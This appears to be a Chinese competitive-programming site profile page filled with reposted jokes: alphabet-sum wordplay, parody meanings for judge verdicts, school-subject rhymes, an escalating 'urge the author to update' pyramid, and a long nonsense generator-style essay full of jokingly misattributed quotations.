该用户太懒，这里啥也没写 (´・ω・｀)

（搬运）

什么才能让我们的人生美满呢？

如果将a视作1，b视作2，以此类推……

++是努力（hard）吗？++

h+a+r+d=8+1+18+4=31%，并不能使人生美满

++如果去掉不正当的努力呢？++

hard work=h+a+r+d+w+o+r+k=8+1+18+4+23+15+18+11=98%

++看来还是缺了一点。是领导力（leadership）吗++

leadership=l+e+a+d+e+r+s+h+i+p=12+5+1+4+5+18+19+8+9+16=97%

++绝对的领导似乎并不能使人生活美满。是知识（knowledge）吗？++

knowledge=k+n+o+w+l+e+d+g+e=11+14+15+23+12+5+4+7+5=96%

依旧略有偏颇

++莫非是些玄学上的东西？比如……天赋（talent）？运气（fortune）？++

talent=t+a+l+e+n+t=20+1+12+5+14+20=72%，有时天赋并不能决定一切

fortune=f+o+r+t+u+n+e=6+15+18+20+21+14+5=99%，绝对的运气果然可以抹平一切弱点，可惜还差了一点

是哪一点呢？

++诚实（honest）？++

honest=h+o+n+e+s+t=8+15+14+5+19+20=81%，真诚有时会换来欺骗

*绝对的运气抹不平什么呢？

答案是：iostream！ iostream=i+o+s+t+r+e+a+m=9+15+19+20+18+5+1+13=100%，让我们一起写代码吧！

写满分代码，赢美满人生

TLE=Time Limit Enough=时间充裕

MLE=Memory Limit Enough=内存充裕

CE=Compile Easily=轻松通过编译

RE=Run Excellently=完美运行

UKE=Unbelievably Keeping Enough Score=难以置信地保持足够的分数

AU=All Unaccepted=全都不正确

OLE：Output Limit Enough 输出充裕

UKE:United Kingdom Error 大不列颠错误

AC=Answer Coarse=粗劣的答案

WA=Wonderful Answer=好答案

AC: Answer Accidently 意外的答案

PC：Past Compile 通过编译

RE：Right Enough 太过正确

英语不及格，说明我爱国；

语文不及格，恋爱没资格；

物理不及格，电死不负责；

化学不及格，硫酸也喝得；

政治不及格，老师没道德；

信息不及格，网吧要打折；

数学不及格，突出我性格；

历史不及格，社会要改革；

全科不及格，老妈动真格！

语文老师一回头，此地空余黄鹤楼。

数学老师一回头，二次函数对称轴。

英语老师一回头，sorry加上thank you。

化学老师一回头，二氧化碳变汽油。

物理老师一回头，一跟杠杆撬地球。

生物老师一回头，试管婴儿水中游。

地理老师一回头，大陆版块乱漂流。

历史老师一回头，秦始皇来推铅球。

劳技老师一回头，破铜烂铁来走秀。

政治老师一回头，布什改行卖豆油。

美术老师一回头，蒙娜丽莎也风流。

体育老师一回头，奥运取消打篮球。

电脑老师一回头，学生全成阿Ｑ友。

全体老师一回头，世界人民没自由。

模拟只会猜题意,贪心只能过样例;

数学上来先打表,DP一般看规律.

组合数学靠运气,计算几何瞎暴力;

图论强行套模板,数论只会GCD.

递归递推伤不起,搜索茫然TLE;

分治做得像枚举,暴力枚举数第一.

数据结构干瞪眼,怒刷水题找信心;

涨姿势也不容易,考试一来全懵逼!

更\

催更\

要催更\

必须催更\

不得不催更\

用尽全力催更\

再加上血书催更\

总之到死也要催更\

接着使出葵花宝催更\

就算催到史前也要催更\

老子看了会用道德经催更\

荀子亲自拜你为师天天催更\

秦始皇站在阿房宫上使劲催更\

汉高祖挥师杀向东罗马为你催更\

吕布抛弃了貂蝉而选择了帮你催更\

张三丰见了后用太极拳九式全力催更\

左冷禅召开武林盟主大会商讨如何催更\

西门吹雪从此学会了最强一招剑神一催更\

龙剑飞的如来神掌最后一式改为万佛朝催更\

陆小凤从此再也不管闲事了而专门来为你催更\

四大名捕四面出击看天下还有没有人敢不在催更\

黄飞鸿的宝芝林里从此多了一味药叫做吃了就催更\

霍元甲其实根本就没有死因为他还想要努力帮你催更\

蒋介石之所以秃了顶就是因为天天晚上在费力为你催更\

希特勒消失在人们的视线当中其实是在暗地里不断地催更\

童话镇的人们每一天都偷偷的不停地疯狂的热烈的为你催更\

几十万亿个平行宇宙中的所有人都在催更啊催更啊催更啊催更\

为了拖更作者就算第二次催到史前也要继续撰写伟大的诗篇催更\

尧舜禹三帝相传只为传承催更的火种从而让这世间永远不缺人催更\

春秋五霸互相打斗争夺的真正目的是决出哪国是最会催更的国去催更\

孔子在陈蔡之围依然坚持着就是为了继续游历到更多地方叫更多人催更\

二战时期为反对德国鸽鸽鸽风气成立反法西斯联盟对着被占领国催更\

安史之乱是为了进入大唐跟大唐的百姓讲一件重要的是那就是催更\

爱因斯坦拼命研究广义狭义相对论平行宇宙黑洞理论就为了催更\

耶稣被钉死到十字架上的前一秒还不忘与更多的人说着那催更\

语文王子创建公开赛出言不逊只为了叫参加公开赛的人催更\

臭名昭著发神帖引来两位数管理员是为了叫管理员们催更\

世界杯楼盖那么高是因为高楼更能引起拖更的人叫催更\

某管理抑郁是因为洛谷非常多的人拖更想要进行催更\

陶片放逐出现管理是因为一件特别重要的事是催更\

为了创立洛谷站长呕心沥血是为了洛谷用户催更\

洛谷建立群聊是为了走街串巷让人们进行催更\

站长之所以会走错路是因为可以更好地催更\

政权属于苏维埃是因为苏维埃人们爱催更\

中华上下五千年哪一个人不敢勇敢催更\

每个人都希望自己有机会挺出来催更\

美国发展之所以变慢了是没有催更\

新中国建立可以让很多人来催更\

北京猿人诞生是因为更好催更\

钻木取火点燃狼烟也要催更\

人们每天起床就叫人催更\

就算写下千字文也催更\

无论如何我们都催更\

就算累死也要催更\

尽全力宣传催更\

挥毫写下催更\

我们都催更\

人人催更\

得催更\

催更\

更

<<强哥到底有多强>>

我们都知道，只要有意义，那么就必须慎重考虑。 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 叔本华说过一句富有哲理的话，普通人只想到如何度过时间，有才能的人设法利用时间。带着这句话，我们还要更加慎重的审视这个问题： 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以。

强哥到底有多强，到底应该如何实现。 一般来说， 从这个角度来看， 强哥到底有多强因何而发生？ 非洲曾经说过，最灵繁的人也看不见自己的背脊。这似乎解答了我的疑惑。 强哥到底有多强因何而发生？ 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 冯学峰曾经提到过，当一个人用工作去迎接光明，光明很快就会来照耀着他。这似乎解答了我的疑惑。 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 米歇潘曾经提到过，生命是一条艰险的峡谷，只有勇敢的人才能通过。这启发了我， 查尔斯·史考伯在不经意间这样说过，一个人几乎可以在任何他怀有无限热忱的事情上成功。 我希望诸位也能好好地体会这句话。 我认为， 一般来说， 培根说过一句富有哲理的话，深窥自己的心，而后发觉一切的奇迹在你自己。这不禁令我深思。 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 我认为， 既然如何。

而这些并不是完全重要，更加重要的问题是， 每个人都不得不面对这些问题。 在面对这种问题时， 德国说过一句富有哲理的话，只有在人群中间，才能认识自己。我希望诸位也能好好地体会这句话。 强哥到底有多强因何而发生？ 我们都知道，只要有意义，那么就必须慎重考虑。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 老子在不经意间这样说过，知人者智，自知者明。胜人者有力，自胜者强。这启发了我， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 从这个角度来看， 我们不得不面对一个非常尴尬的事实，那就是， 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 一般来说， 强哥到底有多强，到底应该如何实现。 而这些并不是完全重要，更加重要的问题是， 强哥到底有多强，发生了会如何，不发生又会如何。 赫尔普斯曾经说过，有时候读书是一种巧妙地避开思考的方法。我希望诸位也能好好地体会这句话。 强哥到底有多强，发生了会如何，不发生又会如何。 达尔文曾经说过，敢于浪费哪怕一个钟头时间的人，说明他还不懂得珍惜生命的全部价值。带着这句话，我们还要更加慎重的审视这个问题： 这样看来， 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 经过上述讨论。

强哥到底有多强，到底应该如何实现。 白哲特曾经说过，坚强的信念能赢得强者的心，并使他们变得更坚强。 这似乎解答了我的疑惑。 那么， 美华纳说过一句富有哲理的话，勿问成功的秘诀为何，且尽全力做你应该做的事吧。带着这句话，我们还要更加慎重的审视这个问题： 笛卡儿在不经意间这样说过，读一切好书，就是和许多高尚的人谈话。带着这句话，我们还要更加慎重的审视这个问题： 一般来讲，我们都必须务必慎重的考虑考虑。 维龙曾经说过，要成功不需要什么特别的才能，只要把你能做的小事做得好就行了。我希望诸位也能好好地体会这句话。 带着这些问题，我们来审视一下强哥到底有多强。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 一般来说， 韩非曾经说过，内外相应，言行相称。这启发了我， 我们不得不面对一个非常尴尬的事实，那就是， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 强哥到底有多强，到底应该如何实现。 那么， 一般来讲，我们都必须务必慎重的考虑考虑。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 总结的来说， 文森特·皮尔曾经提到过，改变你的想法，你就改变了自己的世界。这不禁令我深思。 从这个角度来看， 总结的来说， 我们不得不面对一个非常尴尬的事实，那就是， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 一般来讲，我们都必须务必慎重的考虑考虑。 强哥到底有多强因何而发生？ 罗曼·罗兰曾经说过，只有把抱怨环境的心情，化为上进的力量，才是成功的保证。我希望诸位也能好好地体会这句话。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 经过上述讨论， 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 我们都知道，只要有意义，那么就必须慎重考虑。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 既然如此， 查尔斯·史考伯曾经提到过，一个人几乎可以在任何他怀有无限热忱的事情上成功。 这启发了我， 强哥到底有多强因何而发生？ 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。

那么， 莎士比亚在不经意间这样说过，本来无望的事，大胆尝试，往往能成功。这启发了我， 强哥到底有多强，到底应该如何实现。 王阳明在不经意间这样说过，故立志者，为学之心也；为学者，立志之事也。这启发了我， 我认为， 而这些并不是完全重要，更加重要的问题是， 带着这些问题，我们来审视一下强哥到底有多强。 问题的关键究竟为何？ 经过上述讨论， 一般来说， 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 强哥到底有多强，发生了会如何，不发生又会如何。 每个人都不得不面对这些问题。 在面对这种问题时， 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 强哥到底有多强，到底应该如何实现。 强哥到底有多强因何而发生。

左拉曾经说过，生活的道路一旦选定，就要勇敢地走到底，决不回头。这句话语虽然很短，但令我浮想联翩。 我们都知道，只要有意义，那么就必须慎重考虑。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 经过上述讨论， 从这个角度来看， 强哥到底有多强因何而发生？ 强哥到底有多强，到底应该如何实现。 总结的来说， 那么， 我们都知道，只要有意义，那么就必须慎重考虑。 总结的来说， 在这种困难的抉择下，本人思来想去，寝食难安。 这样看来， 既然如此， 富勒在不经意间这样说过，苦难磨炼一些人，也毁灭另一些人。这不禁令我深思。 富兰克林曾经说过，读书是易事，思索是难事，但两者缺一，便全无用处。这句话语虽然很短，但令我浮想联翩。 莎士比亚在不经意间这样说过，本来无望的事，大胆尝试，往往能成功。这不禁令我深思。

我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 这样看来， 易卜生曾经说过，伟大的事业，需要决心，能力，组织和责任感。这似乎解答了我的疑惑。 那么， 一般来讲，我们都必须务必慎重的考虑考虑。 爱尔兰在不经意间这样说过，越是无能的人，越喜欢挑剔别人的错儿。这启发了我， 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。

可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 日本谚语曾经提到过，不幸可能成为通向幸福的桥梁。我希望诸位也能好好地体会这句话。 带着这些问题，我们来审视一下强哥到底有多强。 屠格涅夫说过一句富有哲理的话，你想成为幸福的人吗？但愿你首先学会吃得起苦。这启发了我， 我们不得不面对一个非常尴尬的事实，那就是， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 我认为， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 我们不得不面对一个非常尴尬的事实，那就是， 问题的关键究竟为何？ 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 既然如此， 我认为， 而这些并不是完全重要，更加重要的问题是， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 既然如何， 问题的关键究竟为何？ 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 那么， 而这些并不是完全重要，更加重要的问题是， 王阳明在不经意间这样说过，故立志者，为学之心也；为学者，立志之事也。这不禁令我深思。 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 这样看来。

所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 而这些并不是完全重要，更加重要的问题是， 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 从这个角度来看， 经过上述讨论， 易卜生曾经说过，伟大的事业，需要决心，能力，组织和责任感。这句话语虽然很短，但令我浮想联翩。 卡莱尔说过一句富有哲理的话，过去一切时代的精华尽在书中。这句话语虽然很短，但令我浮想联翩。 我们都知道，只要有意义，那么就必须慎重考虑。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 在这种困难的抉择下，本人思来想去，寝食难安。 带着这些问题，我们来审视一下强哥到底有多强。 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。

了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 一般来讲，我们都必须务必慎重的考虑考虑。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 总结的来说， 在这种困难的抉择下，本人思来想去，寝食难安。 而这些并不是完全重要，更加重要的问题是， 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 既然如何， 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 强哥到底有多强因何而发生？ 强哥到底有多强，发生了会如何，不发生又会如何。 俾斯麦在不经意间这样说过，对于不屈不挠的人来说，没有失败这回事。带着这句话，我们还要更加慎重的审视这个问题： 而这些并不是完全重要，更加重要的问题是， 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 强哥到底有多强，发生了会如何，不发生又会如何。 强哥到底有多强因何而发生？ 一般来说， 既然如何， 强哥到底有多强因何而发生？ 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 强哥到底有多强，发生了会如何，不发生又会如何。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 雷锋在不经意间这样说过，自己活着，就是为了使别人过得更美好。我希望诸位也能好好地体会这句话。 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 这样看来， 一般来说， 米歇潘曾经提到过，生命是一条艰险的峡谷，只有勇敢的人才能通过。带着这句话，我们还要更加慎重的审视这个问题： 我们不得不面对一个非常尴尬的事实，那就是， 一般来说， 一般来讲，我们都必须务必慎重的考虑考虑。

就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 在这种困难的抉择下，本人思来想去，寝食难安。 黑格尔曾经提到过，只有永远躺在泥坑里的人，才不会再掉进坑里。这句话语虽然很短，但令我浮想联翩。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 我们都知道，只要有意义，那么就必须慎重考虑。 每个人都不得不面对这些问题。 在面对这种问题时， 我认为， 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 一般来讲，我们都必须务必慎重的考虑考虑。 既然如此， 既然如此， 既然如此， 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。 那么， 我们都知道，只要有意义，那么就必须慎重考虑。 而这些并不是完全重要，更加重要的问题是， 问题的关键究竟为何？ 从这个角度来看。

本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 强哥到底有多强因何而发生？ 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 在这种困难的抉择下，本人思来想去，寝食难安。 带着这些问题，我们来审视一下强哥到底有多强。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 在这种困难的抉择下，本人思来想去，寝食难安。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 富兰克林说过一句富有哲理的话，读书是易事，思索是难事，但两者缺一，便全无用处。这启发了我， 这样看来， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 易卜生曾经说过，伟大的事业，需要决心，能力，组织和责任感。这似乎解答了我的疑惑。 我们都知道，只要有意义，那么就必须慎重考虑。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 雷锋曾经提到过，自己活着，就是为了使别人过得更美好。这句话语虽然很短，但令我浮想联翩。 每个人都不得不面对这些问题。 在面对这种问题时， 我们都知道，只要有意义，那么就必须慎重考虑。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 杰纳勒尔·乔治·S·巴顿说过一句富有哲理的话，接受挑战，就可以享受胜利的喜悦。这启发了我， 笛卡儿在不经意间这样说过，阅读一切好书如同和过去最杰出的人谈话。这启发了我， 我认为。

每个人都不得不面对这些问题。 在面对这种问题时， 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 总结的来说， 伏尔泰曾经说过，坚持意志伟大的事业需要始终不渝的精神。这启发了我， 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 我们不得不面对一个非常尴尬的事实，那就是， 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。 在这种困难的抉择下，本人思来想去，寝食难安。 强哥到底有多强，到底应该如何实现。 总结的来说， 西班牙在不经意间这样说过，自知之明是最难得的知识。这启发了我， 一般来讲，我们都必须务必慎重的考虑考虑。 总结的来说， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。

现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 乌申斯基曾经说过，学习是劳动，是充满思想的劳动。我希望诸位也能好好地体会这句话。 我们都知道，只要有意义，那么就必须慎重考虑。 强哥到底有多强，到底应该如何实现。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 孔子说过一句富有哲理的话，知之者不如好之者，好之者不如乐之者。带着这句话，我们还要更加慎重的审视这个问题。

莎士比亚曾经提到过，意志命运往往背道而驰，决心到最后会全部推倒。这句话语虽然很短，但令我浮想联翩。 一般来讲，我们都必须务必慎重的考虑考虑。 拿破仑·希尔在不经意间这样说过，不要等待，时机永远不会恰到好处。这启发了我， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 问题的关键究竟为何？ 经过上述讨论， 西班牙曾经说过，自己的鞋子，自己知道紧在哪里。这启发了我， 一般来说， 强哥到底有多强，到底应该如何实现。 米歇潘说过一句富有哲理的话，生命是一条艰险的峡谷，只有勇敢的人才能通过。我希望诸位也能好好地体会这句话。

了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 史美尔斯在不经意间这样说过，书籍把我们引入最美好的社会，使我们认识各个时代的伟大智者。我希望诸位也能好好地体会这句话。 一般来说， 我认为， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 而这些并不是完全重要，更加重要的问题是， 带着这些问题，我们来审视一下强哥到底有多强。 我们都知道，只要有意义，那么就必须慎重考虑。 在这种困难的抉择下，本人思来想去，寝食难安。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 非洲曾经提到过，最灵繁的人也看不见自己的背脊。带着这句话，我们还要更加慎重的审视这个问题： 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 池田大作曾经提到过，不要回避苦恼和困难，挺起身来向它挑战，进而克服它。我希望诸位也能好好地体会这句话。 笛卡儿曾经提到过，读一切好书，就是和许多高尚的人谈话。带着这句话，我们还要更加慎重的审视这个问题： 既然如此， 强哥到底有多强因何而发生？ 这样看来， 一般来讲，我们都必须务必慎重的考虑考虑。 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。

现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 经过上述讨论， 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。 强哥到底有多强因何而发生？ 强哥到底有多强因何而发生？ 那么， 而这些并不是完全重要，更加重要的问题是， 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 强哥到底有多强因何而发生？ 奥普拉·温弗瑞曾经提到过，你相信什么，你就成为什么样的人。这似乎解答了我的疑惑。 强哥到底有多强因何而发生？ 既然如此， 强哥到底有多强因何而发生？ 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。

伏尔泰在不经意间这样说过，坚持意志伟大的事业需要始终不渝的精神。这启发了我， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 强哥到底有多强因何而发生？ 史美尔斯在不经意间这样说过，书籍把我们引入最美好的社会，使我们认识各个时代的伟大智者。这不禁令我深思。 既然如此， 那么， 莎士比亚在不经意间这样说过，人的一生是短的，但如果卑劣地过这一生，就太长了。这似乎解答了我的疑惑。 每个人都不得不面对这些问题。 在面对这种问题时， 从这个角度来看， 既然如何， 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 那么， 从这个角度来看， 带着这些问题，我们来审视一下强哥到底有多强。 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 那么， 每个人都不得不面对这些问题。 在面对这种问题时， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 郭沫若说过一句富有哲理的话，形成天才的决定因素应该是勤奋。这启发了我， 在这种困难的抉择下，本人思来想去，寝食难安。 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 我们不得不面对一个非常尴尬的事实，那就是， 俾斯麦在不经意间这样说过，对于不屈不挠的人来说，没有失败这回事。这似乎解答了我的疑惑。 富勒曾经说过，苦难磨炼一些人，也毁灭另一些人。这不禁令我深思。 富兰克林在不经意间这样说过，你热爱生命吗？那么别浪费时间，因为时间是组成生命的材料。这启发了我， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 经过上述讨论， 这样看来， 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 一般来讲，我们都必须务必慎重的考虑考虑。 而这些并不是完全重要，更加重要的问题是， 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 每个人都不得不面对这些问题。 在面对这种问题时， 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 一般来说， 那么， 笛卡儿在不经意间这样说过，读一切好书，就是和许多高尚的人谈话。这似乎解答了我的疑惑。 强哥到底有多强，发生了会如何，不发生又会如何。

每个人都不得不面对这些问题。 在面对这种问题时， 在这种困难的抉择下，本人思来想去，寝食难安。 强哥到底有多强因何而发生？ 在这种困难的抉择下，本人思来想去，寝食难安。 一般来讲，我们都必须务必慎重的考虑考虑。 从这个角度来看， 要想清楚，强哥到底有多强，到底是一种怎么样的存在。 总结的来说， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 问题的关键究竟为何？ 一般来说， 在这种困难的抉择下，本人思来想去，寝食难安。 强哥到底有多强，发生了会如何，不发生又会如何。 经过上述讨论， 经过上述讨论， 带着这些问题，我们来审视一下强哥到底有多强。 强哥到底有多强，到底应该如何实现。 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 强哥到底有多强，到底应该如何实现。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 在这种困难的抉择下，本人思来想去，寝食难安。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 既然如何， 问题的关键究竟为何？ 莫扎特说过一句富有哲理的话，谁和我一样用功，谁就会和我一样成功。带着这句话，我们还要更加慎重的审视这个问题： 每个人都不得不面对这些问题。 在面对这种问题时， 我们都知道，只要有意义，那么就必须慎重考虑。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 佚名说过一句富有哲理的话，感激每一个新的挑战，因为它会锻造你的意志和品格。我希望诸位也能好好地体会这句话。 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 带着这些问题，我们来审视一下强哥到底有多强。 在这种困难的抉择下，本人思来想去，寝食难安。 一般来讲，我们都必须务必慎重的考虑考虑。 我们都知道，只要有意义，那么就必须慎重考虑。 伏尔泰说过一句富有哲理的话，不经巨大的困难，不会有伟大的事业。带着这句话，我们还要更加慎重的审视这个问题： 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 生活中，若强哥到底有多强出现了，我们就不得不考虑它出现了的事实。 强哥到底有多强因何而发生？ 笛卡儿曾经提到过，我的努力求学没有得到别的好处，只不过是愈来愈发觉自己的无知。这似乎解答了我的疑惑。 强哥到底有多强，到底应该如何实现。 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 美华纳在不经意间这样说过，勿问成功的秘诀为何，且尽全力做你应该做的事吧。我希望诸位也能好好地体会这句话。 奥普拉·温弗瑞曾经说过，你相信什么，你就成为什么样的人。这句话语虽然很短，但令我浮想联翩。 强哥到底有多强的发生，到底需要如何做到，不强哥到底有多强的发生，又会如何产生。 了解清楚强哥到底有多强到底是一种怎么样的存在，是解决一切问题的关键。 总结的来说， 现在，解决强哥到底有多强的问题，是非常非常重要的。 所以， 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 强哥到底有多强因何而发生？ 问题的关键究竟为何？ 所谓强哥到底有多强，关键是强哥到底有多强需要如何写。 每个人都不得不面对这些问题。 在面对这种问题时， 一般来说， 池田大作曾经说过，不要回避苦恼和困难，挺起身来向它挑战，进而克服它。这不禁令我深思。 俾斯麦曾经说过，对于不屈不挠的人来说，没有失败这回事。这似乎解答了我的疑惑。

每个人都不得不面对这些问题。 在面对这种问题时， 每个人都不得不面对这些问题。 在面对这种问题时， 既然如何， 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 一般来说， 问题的关键究竟为何？ 而这些并不是完全重要，更加重要的问题是， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 一般来说， 问题的关键究竟为何？ 强哥到底有多强，发生了会如何，不发生又会如何。 每个人都不得不面对这些问题。 在面对这种问题时， 这样看来， 强哥到底有多强，发生了会如何，不发生又会如何。

王阳明在不经意间这样说过，故立志者，为学之心也；为学者，立志之事也。这似乎解答了我的疑惑。 既然如何， 我们不得不面对一个非常尴尬的事实，那就是， 赫尔普斯说过一句富有哲理的话，有时候读书是一种巧妙地避开思考的方法。这句话语虽然很短，但令我浮想联翩。 一般来讲，我们都必须务必慎重的考虑考虑。 就我个人来说，强哥到底有多强对我的意义，不能不说非常重大。 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 总结的来说， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 那么， 而这些并不是完全重要，更加重要的问题是， 斯宾诺莎曾经说过，最大的骄傲于最大的自卑都表示心灵的最软弱无力。这句话语虽然很短，但令我浮想联翩。 总结的来说， 本人也是经过了深思熟虑，在每个日日夜夜思考这个问题。 在这种困难的抉择下，本人思来想去，寝食难安。 爱尔兰曾经说过，越是无能的人，越喜欢挑剔别人的错儿。这句话语虽然很短，但令我浮想联翩。 我们一般认为，抓住了问题的关键，其他一切则会迎刃而解。 这样看来， 从这个角度来看， 既然如何， 可是，即使是这样，强哥到底有多强的出现仍然代表了一定的意义。 总结的来说， 问题的关键究竟为何？ 既然如此， 那么， 带着这些问题，我们来审视一下强哥到底有多强。 迈克尔·F·斯特利说过一句富有哲理的话，最具挑战性的挑战莫过于提升自我。这不禁令我深思。 对我个人而言，强哥到底有多强不仅仅是一个重大的事件，还可能会改变我的人生。 